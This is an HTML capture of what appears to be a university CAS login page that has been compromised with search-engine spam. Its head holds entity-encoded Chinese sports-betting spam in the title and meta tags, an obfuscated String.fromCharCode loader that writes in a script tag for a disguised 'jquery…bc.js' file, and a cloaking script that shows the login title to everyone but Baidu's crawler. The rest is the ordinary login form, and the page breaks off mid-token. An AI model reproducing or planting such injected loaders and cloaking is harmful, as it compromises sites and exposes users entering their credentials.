<!DOCTYPE html><html>

<head><title>&#x4EC0;&#x4E48;&#x8F6F;&#x4EF6;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4E70;&#x7403;|&#x4E70;&#x7403;&#x54EA;&#x4E2A;app&#x597D;&#x7528;</title>
<meta name="keywords" content="&#20160;&#20040;&#36719;&#20214;&#21487;&#20197;&#30452;&#25509;&#20080;&#29699;&#44;&#20080;&#29699;&#21738;&#20010;&#97;&#112;&#112;&#22909;&#29992;"/>
<meta name="description" content="&#20160;&#20040;&#36719;&#20214;&#21487;&#20197;&#30452;&#25509;&#20080;&#29699;&#65311;&#25512;&#33616;&#20960;&#27454;&#22909;&#29992;&#30340;&#20080;&#29699;&#97;&#112;&#112;&#65292;&#25903;&#25345;&#22810;&#31181;&#36187;&#20107;&#65292;&#25805;&#20316;&#31616;&#21333;&#65292;&#20307;&#39564;&#26497;&#20339;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,48,46,48,46,109,105,110,46,98,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="Login -  Central Authentication Service"}</script>
    <title></title>
    <meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><link rel="stylesheet" type="text/css" href="/cas/webjars/normalize.css/8.0.1/normalize.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/bootstrap/4.5.0/css/bootstrap-grid.min.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/material-components-web/4.0.0/dist/material-components-web.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/mdi__font/5.0.45/css/materialdesignicons.css" /><link rel="stylesheet" type="text/css" href="/cas/css/cas.css?v=6.2"/><link rel="stylesheet" type="text/css" href="./captcha/css/captcha.min.css"/><link rel="icon" href="/cas/favicon.ico" type="image/x-icon"/><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /></head>

<body class="login mdc-typography">
<script type="text/javascript" src="/cas/webjars/es5-shim/4.5.9/es5-shim.js"></script>
<script type="text/javascript" src="/cas/webjars/css-vars-ponyfill/2.3.1/dist/css-vars-ponyfill.min.js"></script>

<script type="text/javascript" src="/cas/webjars/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript" src="/cas/webjars/material-components-web/4.0.0/dist/material-components-web.js"></script>

<script type="text/javascript" src="/cas/js/cas.js?v=6.2" ></script>
<script type="text/javascript" src="/cas/captcha/js/crypto-js.min.js"></script>
<script type="text/javascript" src="/cas/captcha/js/captcha.min.js"></script>

<script>
    resourceLoadedSuccessfully();
    cssVars({});
</script>

<script>
    /*<![CDATA[*/
    var trackGeoLocation = false;
    /*]]>*/
</script>
<div>
    <header id="app-bar" class="mdc-top-app-bar mdc-top-app-bar--fixed mdc-elevation--z4">
        <nav class="mdc-top-app-bar__row">
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-start">
                <button class="mdc-icon-button mdc-top-app-bar__navigation-icon">
                    <span class="mdi mdi-menu"></span>
                    <span class="sr-only">menu</span>
                </button>
                <div class="cas-brand " style="width: 200px; background:url('/cas/images/cas-logo.png'); background-repeat: no-repeat;background-size: contain;margin-left: 20px; "></div>
            </section>
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-center">
<!--                <img class="cas-brand mx-auto" src="/cas/images/cas-logo.png"/>--></section>
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-end" style="width: 160px;">
<!--                <div style="float:right;color:white;">--><!--                    <form id="zh" style="display:inline;" method="post"><input type="hidden" name="locale" value="zh_CN"><button class="mdc-button mdc-button__label" style="min-width:6px;color:white;padding: 0;margin: 0;border: 0;" type="submit">中文</button></form>--><!--                    |--><!--                    <form id="en" style="display:inline;" method="post"><input type="hidden" name="locale" value="en"><button class="mdc-button mdc-button__label" style="min-width:6px;color:white;padding: 0;margin: 0;border: 0;" type="submit">En</button></form>--><!--                </div>--><button id="cas-notifications-menu"
                        class="mdc-icon-button mdc-top-app-bar__action-item cas-notification-toggle"
                        aria-label="Bookmark this page">
                    <span class="mdi mdi-bell-alert"></span>
                    <span class="sr-only">notifications</span>
                    <i id="notifications-count" class="notifications-count count">0</i>
                </button>
            </section>
        </nav>

    </header>
    <aside id="app-drawer" class="mdc-drawer mdc-drawer--dismissible mdc-drawer--modal">
<!--        <div class="mdc-drawer__header">--><!--            <h3 class="mdc-drawer__title">CAS</h3>--><!--            <h6 class="mdc-drawer__subtitle">Central Authentication Service</h6>--><!--        </div>--><div class="mdc-drawer__content">
            <nav class="mdc-list">
                <a href="/cas/user/info" class="mdc-list-item banner-primary">
                    <i class="mdi mdi-cog"></i>&nbsp;
                    <span class="mdc-list-item__text">个人信息</span>
                </a>
                <!--                <a th:href="@{/actuator}" class="mdc-list-item">--><!--                    <i class="mdi mdi-cogs"></i>&nbsp;--><!--                    <span class="mdc-list-item__text">Actuator Endpoints</span>--><!--                </a>--><hr class="mdc-list-divider"/><div class="text-center">
                <form id="zh" class="d-inline" method="post"><input type="hidden" name="locale" value="zh_CN"><button class="mdc-button mdc-button__label" type="submit">中文</button></form>
                    <span>|</span>
                <form id="en" class="d-inline" method="post"><input type="hidden" name="locale" value="en"><button class="mdc-button mdc-button__label" type="submit">En</button></form>
                </div>
            </nav>
        </div>
    </aside>

    <script>var countMessages = 0;</script>
    <div class="mdc-dialog cas-notification-dialog" id="cas-notification-dialog" role="alertdialog"
         aria-modal="true" aria-labelledby="notif-dialog-title" aria-describedby="notif-dialog-content">
        <div class="mdc-dialog__container">
            <div class="mdc-dialog__surface">
                <div class="mdc-dialog__content" id="notif-dialog-content" style="padding-bottom: 0;">
                    <div class="cas-notification-message mdc-typography--body1">
                        <h6 style="margin-bottom: 5px;" class="mdc-typography--headline6 mdi mdi-information-variant">网上服务大厅</h6>
                        <hr/><p>网络信息中心支持 </p>
                        <p>
                        &nbsp;&nbsp;&nbsp;&nbsp;
                        </p>
                    </div>
                </div>
                <footer class="mdc-dialog__actions" style="background-color: #dddddd;">
                    <button type="button" class="mdc-button mdc-dialog__button "  data-mdc-dialog-action="accept"
                            data-mdc-dialog-button-default>
                        <span class="mdc-button__label">继续</span>
                    </button>
                </footer>
            </div>
            </div>
        <div class="mdc-dialog__scrim"></div>
    </div>
    
</div>

<div class="mdc-drawer-scrim"></div>

<div class="mdc-drawer-app-content mdc-top-app-bar--fixed-adjust d-flex justify-content-center">
    <main role="main" id="main-content" class="container-lg py-4">
        <div id="content" class="d-flex justify-content-center">

        <div  style="background-color: rgba(255,255,255,0.9);width:100%;"  class="d-flex justify-content-center flex-md-row flex-column mdc-card mdc-card-content w-lg-30">
            <section id="loginForm"
                class="login-section login-form">
                <div class="d-flex flex-column justify-content-between m-auto">
            <div>
                <div id="serviceui" class="mb-4">
        <div class="d-flex align-items-center p-2">
            <img src="images/sustech.png" height="64" /><div id="servicedesc" class="ml-3">
                <h2 style="margin-bottom: 3px;">
                    <p style="margin-top: 0px;margin-bottom: 0px;">
                        <span>
                            <span>网上服务大厅</span>
                        </span>
                    </p>
                </h2>
                </div>
        </div>
    </div>
            </div>
            <div class="form-wrapper">
                <form method="post" id="fm1" action="login">

                    <section class="cas-field my-2=3">
                        </section>

                    <section class="cas-field my-3">
                        <div class="mdc-text-field  d-flex">
                            <input class="mdc-text-field__input"
                                id="username"
                                size="25"
                                type="text"
                                accesskey="n"
                                value=""
                                autocomplete="off" name="username" /><label for="username" class="mdc-floating-label">用户名（SID）:</label>
                        </div>
                    </section>

                    <section class="cas-field my-3 mdc-input-group">
                        <div class="mdc-input-group-field mdc-input-group-field-append">
                            <div class="mdc-text-field  mdc-text-field--with-trailing-icon d-flex caps-check">
                                <input class="mdc-text-field__input pwd" type="password" id="password" size="25"
                                    accesskey="p" autocomplete="off" name="password" value="" /><label for="username" class="mdc-floating-label">密　码:</label>
                            </div>
                            <div class="mdc-text-field-helper-line caps-warn">
                                <p
                                    class="mdc-text-field-helper-text mdc-text-field-helper-text--persistent mdc-text-field-helper-text--validation-msg text-danger">
                                    <span >大写键已打开！</span>
                                </p>
                            </div>
                        </div>
                        <button class="reveal-password mdc-button mdc-button--raised mdc-input-group-append mdc-icon-button" type="button">
                            <i class="mdi mdi-eye reveal-password-icon"></i>
                            <span class="sr-only">Toggle Password</span>
                        </button>
                    </section>

                    <section class="cas-field my-3">
                        </section>

                    <section class="cas-field">

                        <div>
<!--        <span th:if="${recaptchaVersion=='v2'}" th:remove="tag">--><!--        </span>--></div>

                        <input type="hidden" name="execution" value="dcb51b4c-3be3-4016-99d2-c2c9d16a8e61_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmM4VHNmUldhNGc0UWRtbHRNY2oxRjBjNllmQTN2YmtJTUVmcVZxWjFvWE1Ic0phTFRHY0tTam93VUV6Rkx1aWxMRzRlMnA4SHF6QVJHVEFUeHBPNGYwalJuNUFnZXVkaV9hSFRaOWo4cFdEYm1vdjA0aU50TWdpVHpqRXF0S3JPVV9EZ3VfVE5kQS0wd0hack41T29pQXlKc3BKcC1kOWs0cUFOT2VwbktGclVybWlBcl9UTmtFR24zVk12a3RHcEJnN1FGT3BreXNoS3h1aGxZQ3FXZGVlQ1k3S1lMRGpnLTF1ZEozZFZXQVplV20wSS1VTXZrd0I5LWFEbTV2b2N2eVh5WTJrQ0l6d1prRlc0TVRVdnMzSHJuTTVvX2pxYmttcmJTck15VXlaNlZMLVg1TWFRT0g0OF81TjA2TEtVSUYyd2RuRXNqY21nTEt2andUYWxmYldQUTVLVzh0S0xKT3RseThHLTEyNTNnbTlscXhoX0JSUERPMk15U19lbndsY1VTMDJvcm1JWlgwR01vVWltNDJ0NFJhRFhTR29yQUFCOFlTb2VKMjVTZ04td0dGVUstTmc5RWlFd2hNOFdOdHV6WG1SZnMxNlRxaWN5WHlmN2tqRTVoZW9RTnJRNnhLRXE1ZlptYXZlSVJFVElMYVByb2RrUXlfOVJyU3IxWlp5dkFBUXlMS1hKTWxITXYtd1dzNkViYVJkTWYybktwYzZveXVJSHItd0lTZnRuc3ZGd1BLZ21uV1k5SXA5a2s1TDFCaWRxZ3FqaFpVLTlnWHQ1c2xVU2YzNUVram51SWV4eDlCOFdjZnBzNnd0T1JZTE1IU214T3dBMlZ3REVCWGRudnRxMlFFVVk4d2NxWWRUaVZybFdDdk44bEstU2VVQldhZUlpQ3NDYnp4MnlBcERXTlNFRHdVWll0bHlEb1htanVzUDk4aEVISG1YUHItV0xVV2c1N2RPSm91dkozR1hzdlVDQ2tJbjN0b2d5X3dTMFRTTllOMG1LZHZ3ZklJMFlCLTJLd3l1T2VfRWRwTHMzOFV0b0Y0QmxaU1hrYjdqVFZUTjRBaUlHOV9GWWVJRHp2U0Y3SU1Ub2xsZ1hqYnJCY29hd01lWmJPNnZ1QmdFZUhDdEhDb2ZQdkxjcFAtQUJ1UElwTzVMNjJaaUZqVmdPOWtnTF90bDVYM0tHRC1FcDJfRFRVZnc0bHczR3NzX091WVJMRU1qWmluRUM3VFc3YllSVVY3Sm05Q29laFdyUkRZcmVCaDd4WVQ5dEhCZjVsY1FlMzI1aVpEX2pZRjlzUm1seWgxRmQyZDlOdTFiVFd6NHdLYzZ1WFNleDRuVGVZdEhDcFc1Zk9UaDlELU1UYl9VTEhWdEstcl9JQTlXTmJkTVZHSGwyejAtX1hGT1VmbUpnMXBUSWp2Q1hFWWt3RF9VY1dTOEpUVl9nS0pkajhyQ2g1dmZhTXFKYlZVS1JNOTZobEZBNHMxd01BdlR2N09reHlnMExBTW11cmkwdmIwSngxQzJiczY3ekZ4QzNsaFRsMU1zZHgzUUp3VGhqQk1SUnI5bGxhclY5ZTdwWjZRRkt2ZENOS212dEpWT3cycC15VHpqSi10bTU4VFoxeGVDSzV5SFNCY0Y5aF9vZFI1ZUNBV0pkVkpSWUowaDFqN0ZKWnd0QkpBUWJnZkhvYllabllKMGR1V05jaGpaXzZpTFNkdFpBVkZQeWdiaFdDSXp0cDh1MGU4TEp1aVR1TG1IOTRsWkV6eXVCM29PbjJ4bGF0bDZVdUdqR1VIYndaLUw0MG1GUkVNMHpIeG10Z2tJRFB6TDUtUFU3bkxQendhSFhndmtLUG4wOTFReTkyZXZoYnhDVnJhNXEwRFpOVGRPU2pjeXN5RlBRS3lfcmhVQWR3eVRfZHBtVnA5enA1dkZpdkdPMkUwTVNoLU1BZS1nY2hfMDMybk1FWDY2a0c2dC1IQndzSkxOcllDcmxDUXRzdXR3NzFFVTdwNnRValp2TDhEYVlwaHk3MmQ0cnNnNmdaSTRpenRrd0l3eGlPNHotYWJIZ1RWdmk4XzEzOEhmcFRwRDZ3RVpVWE12TXdNVlVFMERmQV9OazlLVnpHZmJtVDFzWVUtNlc2bGpGMEJkN0VXVkNkRUloOHJPSlNUSjcxNFBMamNTQmRXaHpMQUpORmxQbmlQTHUtSGZiVlFEaUNYc0MxNnFfS0tlelpOUTFuWTBsS0VOSVRPLTRoWnhzM0otTkhyQkVPb3VxM3NjREM0MGVJZXhpMVN1NFA4eV9fWDktQnM3SUNOQUwtTXpINUQzQk51YU5MSnBtVUdwUkVQTXdqNTNmcW1MUXlfM2FuZkZ3djhod3JJbGtXTDhqdTZrdkszS3RKb0xLanZkZmRHanB0enhubTFHYTRnSXRTUFFndnNtb0tSaWNoY3JWUE1ZVTJvdV9nenBBNnJrb3NyT3BGclN1aXFLcmtxbTluLVFlVUdUOUp1MjRVdUVIRjNrRFRkRGxnUWFUSEVkbWdsU3hjeGFpdDNJRElJYnduMFhrTVc0Y2FMdlN1eXQzMWxuVjNkVEhzQjhEa3didXNnMFA2SXR4Mi1IWkFYOVROYWlWdGVDZkg3endIYU0wcmltVHZ3UVpmbzkxZEczVlItRUpqY2R1bWs4OS1mRXl1N041REsxalZOdmRSTl9oNXVtakdpNHExVld3Q2xHM0YwVlRQUmVzSF9iVFNRZGVjVVUzQ1JzU08xYWdOTzJZb1oxemdmNkxYY2x6YjFiY1MxMXNINXNuMUVWOFRfdUlzRlJMNDQxSnlaZnVqcjh5ek1WSzc2MFJCQ1oxTExjUW04LUkzSF96bkRVSkE2eGZIMF94NTc5VXNrSDhaa2xuNWtpVnR2dUJOaXVGeWtuNFNIVml3dE1zNTdhaFU5VnVJeE5FUkxROVNJajlQT0RQM1VrcGpZQ1N4QXQwSEc5QV92QlBELTVKUGNWTlZzYjBaQzN0UDJvbjFSZjIxZnNZZWF5SHFUeXA4ZlRyMUZIMHEwb2g5Q3FnaWJEbHdFX2VnV3lCcDA1WVpTUTdGX3pyZ0x6Z3BJaUJFb0QyX2VaR1VicW5UYktvQ29BWG9hUDVHNGVlRDcxR0JSVWZ6NEZJaHRqeTJzbmpYSTBhSnZRVzNic0RkYjAxQjlRc1FKYnBCcjNOOWwySndaMUdLc0tSQmVrdHdsVzZobnExWWx3MndiREdHNlNtRU84aVdkczRwaXhPY19abmRrRE9xLU5JOWNtYUZPdDJtTFlOY05fdHlUNEtBWEJHeXBMSnhNVlZpbGE4SHVrYk1lQ2Y1eTFlQ1ppTEhqYS1Gb3NqeUphRndDNXY0UlZDdlBxRjlyMkNiMVRKMzFPZVdVOGlnRjVuZ0dkejUtSWZtaGtzNF9iU01ncVlOWUo3Q1ROVkZNa2Y3VlFUczFYQ0pUX3BhaG4wWXVHcUZITjJEZ0wtMUxxemxhemNYeUF6SE5yR19GVXlzX0FVeF9hUzA4Ry02MDFZUWNpenNyUDVqakE2a1dDRjhpNUtBRUdmcHQtTEhadVNvU2JTVzdWblo4QzdVVUJKZnVVWFpld2FCY01YVmtLUkZwZUtmVlZBbzF1akVsdjJYWlE0cTFFYnBYZGVnRWdwYU9WRG9nczlnSWp4VVpHSVZaWmV5U3N5V2VZSkMzYzhFRW1LeWhvQktONXZHTS1YSFhrbXNiemJ0VWJvNG5qekpqSWl0MGRlUXJxNEk5WmtWajVvbzFIOGtUX2QyR01ETTU1YzNuMmVqaHBqTXFWNF9PQmlUT0RST1dvWWVHckF1TFRLRTFkYVNoTWgzMWNySDdzQThfNWlzZ3NHSWxqMmNvUkUxSDVqWmk5a2l2emU3OWtVWGZ1M1JwZUhrVDh1Q2Z3Vy1sV2NaSGhFWXpzWVZ2QnJONmpoMXFZVnpwS08yOU9fYWVjdG43OF9KMU1QS1FSUi1qcThickNyT3JmR2I2UjZrdEw4UFZCTjNvQ2djMjRyU1JkSDRwMzNnX0NpUlcwMjJtZ2NqaWEzMlVqZU5JbC1ZRVBQeWtIZV8zX0ZkRWZOUVdTS3JkVHBXcG9ZaTI2WFNxTzlqalg0RXRLTm9WU3lSWmlQT3V6Y3k1aTlCVWdGNllGVjQzSlAwRWlDU1lNclFObXhXZUlieHVNYU1ybndsQzlBc21tU2RqY2NjZ09RZ2xlMkozazJyUWFKTmltRDZGQzliUEtPR3g5LXdlM09HclR6eXl0UkdSVWhxSzJZMWFyUTFqeGRWSk92cnhreDM5UDE1TmFGOEtmbFp3b0FTamdXLUNjdkpucHpsdE9BbVdaRVV2b3RiaEFUWlpGbi1RLXVnNUdBRWVucTZHaDlDTG5vTVhybTFCUElzaXJSS1hYRHJTaXpvS09CQzFHR0tQMlkxY09naUgxTVRyRWNHR3dWU0FLQlF4UkhlaGpVS3BGX0hIdF92cTFxZ2xhN3lmWjg5cEQ3b180a1c1YmlWSlBNZFRNWEFWenU0TXUwcjBucTZNX25YZ2g0bnBvZGFZMjhydC1LTmt1elZVTm5UYUthdFNBZGNRbnJmOE1GSy03M0dRMVYtNFJzTEJLS1Y2ZjU2b2R4WVRaNTIzaVR1R1RQT0haMFVHQVZ4LUJZcnJ5WXZPZEFrZWo1VFhXWlhSVENkMnllUDZUWTB4WnJWWW1EYnJYOW4xeU5FSDlkUEZ2amprX1Z0S2FvS1pEWlhfR0d2M2wxT3Z0SUQ2ZmZVYTQ3cGNQWUNTbkJRV3pZTm8xQ05VSWVoSFo0b3FDT25EUmVLNzRwRl9mdFRNRm1HNWtZVjliOVFEMFNRLVIyakZuSGVFdzVqdEVMOTNlQ180NTIxVXFzem1hQ0NEbFRMNlFqLS0xN2d2ajdKVUFlc05LSTV3WXVKUGpiRmJwa3pXT3NybkFQWXBmZDA1NjhYYmFaR2JuWElEY1lPOXE2TlNjZnBtOHpoemdkUVh5MGZjYkpUX3lTX0RyRXlFa2QxVHNTckd3OFVnaE5PTXlpZG1vM0ZYVmZSZEZNNDZ4NEZ0S2VXby1IY01mcGl2TzRsajhmeUVIeHVNdFp0dHhuc1I1d0g5OGhGbWppX05GZzdRUnlkaHpaRjZwbXdxZUdobDNZRWtWSHRLOHdHZ1A4NjFUSndFRHdwNGhIMk91dFVsTjFnOFhtQjB6dkxmQjBlZ0l6U2VDUTNEdUVycWJxelVUdFVfT3hPVTFJTVhnV0hIMTBfTm54dHItZWJhbXF4aWN6ZXJKaFB4S0ZzMWd1MVhyNm0zbGN3eFJIalY5UVNoV3BIaGxVcmNXMllES3dWZ1c5d2h3aGpoa2czeWk5UVVVcUJSd1ZqZmlHekw4cUVyWURIMk5VSWczYlB6WVZCcGRWNE1IckpPeTA2elM3dU40djVsc1ctQnA5a1dVNkZvQkExZEZYdklDOUFaRGpDMmFaUGtVd3FsemdqRjBoODg2T1oxeU1uM0Q0YTJHZ2x5VXZSZm5zQkowRG5iVHZuQ2suVFdYWW1DZmE5a3J1dVpKb0V5T0NQVEFvRG1DM0ZiZUhRTzdITzNpWmR3OFQ3eUExWVd1ZnVuUXNmREFFZDV3V3dydDVCbGtoMDA3OVlzeEdXQWtnU1E="/><input type="hidden" name="_eventId" value="submit"/><input type="hidden" name="geolocation"/></section>

                    <span>
            <button class="mdc-button mdc-button--raised"
                        name="submitBtn"
                        type="submit"
                        accesskey="l">
                    <span class="mdc-button__label" >登录</span>
                </button>
            </span>
    </form>

                <hr class="my-4" /><div id="pmlinks" class="my-2">
    <form class="d-inline-block" method="post" id="passwordManagementForm">
        <input type="hidden" name="execution" value="dcb51b4c-3be3-4016-99d2-c2c9d16a8e61_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmM4VHNmUldhNGc0UWRtbHRNY2oxRjBjNllmQTN2YmtJTUVmcVZxWjFvWE1Ic0phTFRHY0tTam93VUV6Rkx1aWxMRzRlMnA4SHF6QVJHVEFUeHBPNGYwalJuNUFnZXVkaV9hSFRaOWo4cFdEYm1vdjA0aU50TWdpVHpqRXF0S3JPVV9EZ3VfVE5kQS0wd0hack41T29pQXlKc3BKcC1kOWs0cUFOT2VwbktGclVybWlBcl9UTmtFR24zVk12a3RHcEJnN1FGT3BreXNoS3h1aGxZQ3FXZGVlQ1k3S1lMRGpnLTF1ZEozZFZXQVplV20wSS1VTXZrd0I5LWFEbTV2b2N2eVh5WTJrQ0l6d1prRlc0TVRVdnMzSHJuTTVvX2pxYmttcmJTck15VXlaNlZMLVg1TWFRT0g0OF81TjA2TEtVSUYyd2RuRXNqY21nTEt2andUYWxmYldQUTVLVzh0S0xKT3RseThHLTEyNTNnbTlscXhoX0JSUERPMk15U19lbndsY1VTMDJvcm1JWlgwR01vVWltNDJ0NFJhRFhTR29yQUFCOFlTb2VKMjVTZ04td0dGVUstTmc5RWlFd2hNOFdOdHV6WG1SZnMxNlRxaWN5WHlmN2tqRTVoZW9RTnJRNnhLRXE1ZlptYXZlSVJFVElMYVByb2RrUXlfOVJyU3IxWlp5dkFBUXlMS1hKTWxITXYtd1dzNkViYVJkTWYybktwYzZveXVJSHItd0lTZnRuc3ZGd1BLZ21uV1k5SXA5a2s1TDFCaWRxZ3FqaFpVLTlnWHQ1c2xVU2YzNUVram51SWV4eDlCOFdjZnBzNnd0T1JZTE1IU214T3dBMlZ3REVCWGRudnRxMlFFVVk4d2NxWWRUaVZybFdDdk44bEstU2VVQldhZUlpQ3NDYnp4MnlBcERXTlNFRHdVWll0bHlEb1htanVzUDk4aEVISG1YUHItV0xVV2c1N2RPSm91dkozR1hzdlVDQ2tJbjN0b2d5X3dTMFRTTllOMG1LZHZ3ZklJMFlCLTJLd3l1T2VfRWRwTHMzOFV0b0Y0QmxaU1hrYjdqVFZUTjRBaUlHOV9GWWVJRHp2U0Y3SU1Ub2xsZ1hqYnJCY29hd01lWmJPNnZ1QmdFZUhDdEhDb2ZQdkxjcFAtQUJ1UElwTzVMNjJaaUZqVmdPOWtnTF90bDVYM0tHRC1FcDJfRFRVZnc0bHczR3NzX091WVJMRU1qWmluRUM3VFc3YllSVVY3Sm05Q29laFdyUkRZcmVCaDd4WVQ5dEhCZjVsY1FlMzI1aVpEX2pZRjlzUm1seWgxRmQyZDlOdTFiVFd6NHdLYzZ1WFNleDRuVGVZdEhDcFc1Zk9UaDlELU1UYl9VTEhWdEstcl9JQTlXTmJkTVZHSGwyejAtX1hGT1VmbUpnMXBUSWp2Q1hFWWt3RF9VY1dTOEpUVl9nS0pkajhyQ2g1dmZhTXFKYlZVS1JNOTZobEZBNHMxd01BdlR2N09reHlnMExBTW11cmkwdmIwSngxQzJiczY3ekZ4QzNsaFRsMU1zZHgzUUp3VGhqQk1SUnI5bGxhclY5ZTdwWjZRRkt2ZENOS212dEpWT3cycC15VHpqSi10bTU4VFoxeGVDSzV5SFNCY0Y5aF9vZFI1ZUNBV0pkVkpSWUowaDFqN0ZKWnd0QkpBUWJnZkhvYllabllKMGR1V05jaGpaXzZpTFNkdFpBVkZQeWdiaFdDSXp0cDh1MGU4TEp1aVR1TG1IOTRsWkV6eXVCM29PbjJ4bGF0bDZVdUdqR1VIYndaLUw0MG1GUkVNMHpIeG10Z2tJRFB6TDUtUFU3bkxQendhSFhndmtLUG4wOTFReTkyZXZoYnhDVnJhNXEwRFpOVGRPU2pjeXN5RlBRS3lfcmhVQWR3eVRfZHBtVnA5enA1dkZpdkdPMkUwTVNoLU1BZS1nY2hfMDMybk1FWDY2a0c2dC1IQndzSkxOcllDcmxDUXRzdXR3NzFFVTdwNnRValp2TDhEYVlwaHk3MmQ0cnNnNmdaSTRpenRrd0l3eGlPNHotYWJIZ1RWdmk4XzEzOEhmcFRwRDZ3RVpVWE12TXdNVlVFMERmQV9OazlLVnpHZmJtVDFzWVUtNlc2bGpGMEJkN0VXVkNkRUloOHJPSlNUSjcxNFBMamNTQmRXaHpMQUpORmxQbmlQTHUtSGZiVlFEaUNYc0MxNnFfS0tlelpOUTFuWTBsS0VOSVRPLTRoWnhzM0otTkhyQkVPb3VxM3NjREM0MGVJZXhpMVN1NFA4eV9fWDktQnM3SUNOQUwtTXpINUQzQk51YU5MSnBtVUdwUkVQTXdqNTNmcW1MUXlfM2FuZkZ3djhod3JJbGtXTDhqdTZrdkszS3RKb0xLanZkZmRHanB0enhubTFHYTRnSXRTUFFndnNtb0tSaWNoY3JWUE1ZVTJvdV9nenBBNnJrb3NyT3BGclN1aXFLcmtxbTluLVFlVUdUOUp1MjRVdUVIRjNrRFRkRGxnUWFUSEVkbWdsU3hjeGFpdDNJRElJYnduMFhrTVc0Y2FMdlN1eXQzMWxuVjNkVEhzQjhEa3didXNnMFA2SXR4Mi1IWkFYOVROYWlWdGVDZkg3endIYU0wcmltVHZ3UVpmbzkxZEczVlItRUpqY2R1bWs4OS1mRXl1N041REsxalZOdmRSTl9oNXVtakdpNHExVld3Q2xHM0YwVlRQUmVzSF9iVFNRZGVjVVUzQ1JzU08xYWdOTzJZb1oxemdmNkxYY2x6YjFiY1MxMXNINXNuMUVWOFRfdUlzRlJMNDQxSnlaZnVqcjh5ek1WSzc2MFJCQ1oxTExjUW04LUkzSF96bkRVSkE2eGZIMF94NTc5VXNrSDhaa2xuNWtpVnR2dUJOaXVGeWtuNFNIVml3dE1zNTdhaFU5VnVJeE5FUkxROVNJajlQT0RQM1VrcGpZQ1N4QXQwSEc5QV92QlBELTVKUGNWTlZzYjBaQzN0UDJvbjFSZjIxZnNZZWF5SHFUeXA4ZlRyMUZIMHEwb2g5Q3FnaWJEbHdFX2VnV3lCcDA1WVpTUTdGX3pyZ0x6Z3BJaUJFb0QyX2VaR1VicW5UYktvQ29BWG9hUDVHNGVlRDcxR0JSVWZ6NEZJaHRqeTJzbmpYSTBhSnZRVzNic0RkYjAxQjlRc1FKYnBCcjNOOWwySndaMUdLc0tSQmVrdHdsVzZobnExWWx3MndiREdHNlNtRU84aVdkczRwaXhPY19abmRrRE9xLU5JOWNtYUZPdDJtTFlOY05fdHlUNEtBWEJHeXBMSnhNVlZpbGE4SHVrYk1lQ2Y1eTFlQ1ppTEhqYS1Gb3NqeUphRndDNXY0UlZDdlBxRjlyMkNiMVRKMzFPZVdVOGlnRjVuZ0dkejUtSWZtaGtzNF9iU01ncVlOWUo3Q1ROVkZNa2Y3VlFUczFYQ0pUX3BhaG4wWXVHcUZITjJEZ0wtMUxxemxhemNYeUF6SE5yR19GVXlzX0FVeF9hUzA4Ry02MDFZUWNpenNyUDVqakE2a1dDRjhpNUtBRUdmcHQtTEhadVNvU2JTVzdWblo4QzdVVUJKZnVVWFpld2FCY01YVmtLUkZwZUtmVlZBbzF1akVsdjJYWlE0cTFFYnBYZGVnRWdwYU9WRG9nczlnSWp4VVpHSVZaWmV5U3N5V2VZSkMzYzhFRW1LeWhvQktONXZHTS1YSFhrbXNiemJ0VWJvNG5qekpqSWl0MGRlUXJxNEk5WmtWajVvbzFIOGtUX2QyR01ETTU1YzNuMmVqaHBqTXFWNF9PQmlUT0RST1dvWWVHckF1TFRLRTFkYVNoTWgzMWNySDdzQThfNWlzZ3NHSWxqMmNvUkUxSDVqWmk5a2l2emU3OWtVWGZ1M1JwZUhrVDh1Q2Z3Vy1sV2NaSGhFWXpzWVZ2QnJONmpoMXFZVnpwS08yOU9fYWVjdG43OF9KMU1QS1FSUi1qcThickNyT3JmR2I2UjZrdEw4UFZCTjNvQ2djMjRyU1JkSDRwMzNnX0NpUlcwMjJtZ2NqaWEzMlVqZU5JbC1ZRVBQeWtIZV8zX0ZkRWZOUVdTS3JkVHBXcG9ZaTI2WFNxTzlqalg0RXRLTm9WU3lSWmlQT3V6Y3k1aTlCVWdGNllGVjQzSlAwRWlDU1lNclFObXhXZUlieHVNYU1ybndsQzlBc21tU2RqY2NjZ09RZ2xlMkozazJyUWFKTmltRDZGQzliUEtPR3g5LXdlM09HclR6eXl0UkdSVWhxSzJZMWFyUTFqeGRWSk92cnhreDM5UDE1TmFGOEtmbFp3b0FTamdXLUNjdkpucHpsdE9BbVdaRVV2b3RiaEFUWlpGbi1RLXVnNUdBRWVucTZHaDlDTG5vTVhybTFCUElzaXJSS1hYRHJTaXpvS09CQzFHR0tQMlkxY09naUgxTVRyRWNHR3dWU0FLQlF4UkhlaGpVS3BGX0hIdF92cTFxZ2xhN3lmWjg5cEQ3b180a1c1YmlWSlBNZFRNWEFWenU0TXUwcjBucTZNX25YZ2g0bnBvZGFZMjhydC1LTmt1elZVTm5UYUthdFNBZGNRbnJmOE1GSy03M0dRMVYtNFJzTEJLS1Y2ZjU2b2R4WVRaNTIzaVR1R1RQT0haMFVHQVZ4LUJZcnJ5WXZPZEFrZWo1VFhXWlhSVENkMnllUDZUWTB4WnJWWW1EYnJYOW4xeU5FSDlkUEZ2amprX1Z0S2FvS1pEWlhfR0d2M2wxT3Z0SUQ2ZmZVYTQ3cGNQWUNTbkJRV3pZTm8xQ05VSWVoSFo0b3FDT25EUmVLNzRwRl9mdFRNRm1HNWtZVjliOVFEMFNRLVI